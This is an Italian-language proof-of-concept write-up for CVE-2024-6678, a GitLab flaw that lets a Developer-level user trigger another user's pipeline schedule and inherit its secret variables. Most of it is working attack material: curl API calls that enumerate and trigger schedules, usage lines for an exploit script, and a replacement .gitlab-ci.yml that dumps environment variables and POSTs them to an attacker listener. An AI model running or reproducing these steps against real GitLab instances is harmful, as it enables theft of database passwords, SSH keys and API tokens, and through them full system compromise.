
PoC per CVE-2024-6678
PoC per CVE-2024-6678
GitLab consente agli utenti di eseguire manualmente le pianificazioni dei pipeline CI/CD (Pipeline Schedules) tramite il pulsante «Play». La vulnerabilità consiste nel fatto che la funzione «play» permette a qualsiasi utente con diritti Developer (non solo al proprietario della pianificazione) di avviare la pianificazione. Questo comporta due conseguenze:
L'impatto finale dipenderà da ciò che è memorizzato nelle variabili della pianificazione. Ad esempio, la variabile DB_PASSWORD apre la possibilità di eseguire un dump completo del database, mentre SSH_PRIVATE_KEY consente di ottenere RCE.
develop, staging) — oppure nel progetto ci sono pianificazioni con formato ref breve (bypass)Importante: le pianificazioni su rami protetti (ad esempio,
refs/heads/maincon protezione attiva) vengono bloccate dalla policyPipelineSchedulePolicy#protected_refe restituiscono HTTP 403. L'attacco funziona per rami non protetti — proprio quelli in cui vengono spesso create pianificazioni di integrazione e staging con credenziali reali.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Trovare una pianificazione appartenente a un utente più privilegiato (Maintainer/Owner).
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Risposta attesa: HTTP 201 — il pipeline è stato aggiunto alla coda.
Il pipeline viene creato a nome dell'attaccante (current_user), ma con tutte le variabili della pianificazione (che possono includere chiavi API, token, credenziali configurate dal proprietario).
HTTP 500 "Unable to schedule pipeline run immediately" — Comportamento previsto. Si tratta della deduplicazione di Sidekiq (
deduplicate :until_executed): un job per questa pianificazione è già in coda da un'esecuzione precedente riuscita. Significa che l'attacco è già stato eseguito e il job è in attesa di essere processato.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Esecuzione base: selezione automatica della pianificazione
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Specificare una pianificazione particolare
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Tramite GraphQL (richiede --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Verifica del bypass legacy-ref
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Prima del trigger, il PoC sostituisce .gitlab-ci.yml nel ramo develop con: stages: [exfil] dump_vars: stage: exfil script: - env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Tutto questo finisce sul vostro listener